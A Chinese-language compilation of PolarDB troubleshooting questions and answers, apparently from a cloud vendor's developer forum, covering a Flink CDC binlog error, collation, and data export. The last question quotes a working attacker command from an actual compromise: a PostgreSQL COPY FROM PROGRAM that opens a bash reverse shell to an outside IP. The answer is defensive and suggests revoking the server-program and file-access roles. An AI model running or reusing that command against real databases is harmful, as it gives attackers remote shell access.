问题一:PolarDB这个问题怎么解决?
PolarDB这个问题怎么解决?用flink-cdc监控咱们polardb的binlog,当表的索引有json类型索引的时候,会报如下的错误,在原生mysql8或者其他云数据库上对比,没有这个问题。2024-03-04 11:02:26
java.lang.RuntimeException: One or more fetchers have encountered exception
at org.apache.flink.connector.base.source.reader.fetcher.SplitFetcherManager.checkErrors(SplitFetcherManager.java:263)
at org.apache.flink.connector.base.source.reader.SourceReaderBase.getNextFetch(SourceReaderBase.java:185)
at org.apache.flink.connector.base.source.reader.SourceReaderBase.pollNext(SourceReaderBase.java:147)
at org.apache.flink.streaming.api.operators.SourceOperator.emitNext(SourceOperator.java:419)
at org.apache.flink.streaming.runtime.io.StreamTaskSourceInput.emitNext(StreamTaskSourceInput.java:68)
at org.apache.flink.streaming.runtime.io.StreamOneInputProcessor.processInput(StreamOneInputProcessor.java:65)
at org.apache.flink.streaming.runtime.tasks.StreamTask.processInput(StreamTask.java:562)
at org.apache.flink.streaming.runtime.tasks.mailbox.MailboxProcessor.runMailboxLoop(MailboxProcessor.java:231)
at org.apache.flink.streaming.runtime.tasks.StreamTask.runMailboxLoop(StreamTask.java:858)
at org.apache.flink.streaming.runtime.tasks.StreamTask.invoke(StreamTask.java:807)
at org.apache.flink.runtime.taskmanager.Task.runWithSystemExitMonitoring(Task.java:953)
at org.apache.flink.runtime.taskmanager.Task.restoreAndInvoke(Task.java:932)
at org.apache.flink.runtime.taskmanager.Task.doRun(Task.java:746)
at org.apache.flink.runtime.taskmanager.Task.run(Task.java:562)
at java.base/java.lang.Thread.run(Thread.java:834)
Caused by: java.lang.RuntimeException: SplitFetcher thread 0 received unexpected exception while polling the records
at org.apache.flink.connector.base.source.reader.fetcher.SplitFetcher.runOnce(SplitFetcher.java:168)
at org.apache.flink.connector.base.source.reader.fetcher.SplitFetcher.run(SplitFetcher.java:117)
at java.base/java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:515)
at java.base/java.util.concurrent.FutureTask.run(FutureTask.java:264)
at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128)
at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628)
... 1 more
Caused by: com.ververica.cdc.connectors.shaded.org.apache.kafka.connect.errors.ConnectException: An exception occurred in the change event producer. This connector will be stopped.
at io.debezium.pipeline.ErrorHandler.setProducerThrowable(ErrorHandler.java:50)
at com.ververica.cdc.connectors.mysql.debezium.task.context.MySqlErrorHandler.setProducerThrowable(MySqlErrorHandler.java:85)
at io.debezium.connector.mysql.MySqlStreamingChangeEventSource$ReaderThreadLifecycleListener.onEventDeserializationFailure(MySqlStreamingChangeEventSource.java:1553)
at com.github.shyiko.mysql.binlog.BinaryLogClient.listenForEventPackets(BinaryLogClient.java:1064)
at com.github.shyiko.mysql.binlog.BinaryLogClient.connect(BinaryLogClient.java:631)
at com.github.shyiko.mysql.binlog.BinaryLogClient$7.run(BinaryLogClient.java:932)
... 1 more
Caused by: io.debezium.DebeziumException: Failed to deserialize data of EventHeaderV4{timestamp=1709519278000, eventType=TABLE_MAP, serverId=27570245, headerLength=19, dataLength=157, nextPosition=18249559, flags=0}
at io.debezium.connector.mysql.MySqlStreamingChangeEventSource.wrap(MySqlStreamingChangeEventSource.java:1488)
... 5 more
Caused by: com.github.shyiko.mysql.binlog.event.deserialization.EventDataDeserializationException: Failed to deserialize data of EventHeaderV4{timestamp=1709519278000, eventType=TABLE_MAP, serverId=27570245, headerLength=19, dataLength=157, nextPosition=18249559, flags=0}
at com.github.shyiko.mysql.binlog.event.deserialization.EventDeserializer.deserializeEventData(EventDeserializer.java:341)
at com.github.shyiko.mysql.binlog.event.deserialization.EventDeserializer.deserializeTableMapEventData(EventDeserializer.java:313)
at com.github.shyiko.mysql.binlog.event.deserialization.EventDeserializer.nextEvent(EventDeserializer.java:237)
at io.debezium.connector.mysql.MySqlStreamingChangeEventSource$1.nextEvent(MySqlStreamingChangeEventSource.java:259)
at com.github.shyiko.mysql.binlog.BinaryLogClient.listenForEventPackets(BinaryLogClient.java:1051)
... 3 more
Caused by: java.io.IOException: Stumbled upon long even though int expected
at com.github.shyiko.mysql.binlog.io.ByteArrayInputStream.readPackedInteger(ByteArrayInputStream.java:157)
at com.github.shyiko.mysql.binlog.event.deserialization.TableMapEventMetadataDeserializer.deserialize(TableMapEventMetadataDeserializer.java:67)
at com.github.shyiko.mysql.binlog.event.deserialization.TableMapEventDataDeserializer.deserialize(TableMapEventDataDeserializer.java:59)
at com.github.shyiko.mysql.binlog.event.deserialization.TableMapEventDataDeserializer.deserialize(TableMapEventDataDeserializer.java:37)
参考回答:
对比的其它 mysql 版本是什么,不同 mysql 版本在 binlog 格式上会有不同。应该是 flink cdc 没有做兼容导致了报错,具体问题可以给 flinkcdc 社区提 issue,可以搜到相关 issue:https://github.com/ververica/flink-cdc-connectors/issues/2192
关于本问题的更多回答可点击原文查看:https://developer.aliyun.com/ask/604437
问题二:PolarDB这个问题怎么解决?
PolarDB这个问题怎么解决?
参考回答:
不支持动态改库编码。
关于本问题的更多回答可点击原文查看:https://developer.aliyun.com/ask/603804
问题三:在PolarDB用 bacth-pool导出数据时,怎么过滤掉视图?
在PolarDB用 bacth-pool导出数据时,怎么过滤掉视图?导出视图时报错java.lang.RuntimeException: Unable to get topology of table v_test
参考回答:
你好,目前对视图没有适配好 可能需要写个脚本单独指定要导出的表,后续会修复这个问题。
关于本问题的更多回答可点击原文查看:https://developer.aliyun.com/ask/603802
问题四:PolarDB建库指定排序规则不生效吗?
PolarDB建库指定排序规则不生效吗?
参考回答:
PolarDB(基于 MySQL 协议的兼容数据库)在建库时通常允许指定排序规则(collation)。排序规则决定了数据库中字符串的比较和排序方式,以及字符串的存储格式。如果你在创建数据库时指定了排序规则,但发现它并没有生效,这可能是由以下几个原因造成的:
- 客户端与服务器不匹配:确保你的客户端(例如 MySQL 命令行工具或应用程序)与 PolarDB 服务器使用相同的字符集和排序规则。如果客户端和服务器使用的排序规则不一致,可能会导致查询结果或数据导入/导出时的显示不一致。
- 表或列的排序规则覆盖:即使在创建数据库时指定了排序规则,你也可以在创建表或列时覆盖这个设置。检查你的表或列定义,确保它们没有使用不同的排序规则。
- 默认值或继承:有时,如果你没有明确指定排序规则,系统可能会使用默认值或继承自其他对象的设置。检查 PolarDB 的文档,了解在没有指定排序规则时,它会如何确定使用的排序规则。
- 版本差异:不同的 PolarDB 版本可能对排序规则的处理有所不同。确保你查看的是与你使用的版本相对应的文档,并了解该版本的特定行为。
- 查看实际使用的排序规则:使用 SQL 查询来检查数据库、表或列实际使用的排序规则。例如,你可以使用
SHOW CREATE DATABASE your_database_name;
来查看数据库的创建语句,包括排序规则。 - 错误或遗漏:检查你的 SQL 语句是否有语法错误或遗漏。确保你正确地指定了排序规则,并且语法符合 PolarDB 的要求。
关于本问题的更多回答可点击原文查看:https://developer.aliyun.com/ask/603792
问题五:polardb中postgres中毒了,帮忙出出主意?
polardb中postgres中毒了,帮忙出出主意COPY cmd_exec FROM PROGRAM 'bash -c ''exec bash -i &>/dev/tcp/148.100.77.187/6655 <&1'''
刚发现的,目前还没解决思路
参考回答:
应用账号的这3个角色权限有的话,取消掉吧 pg_execute_server_program, pg_read_server_files , pg_write_server_files
关于本问题的更多回答可点击原文查看:https://developer.aliyun.com/ask/603662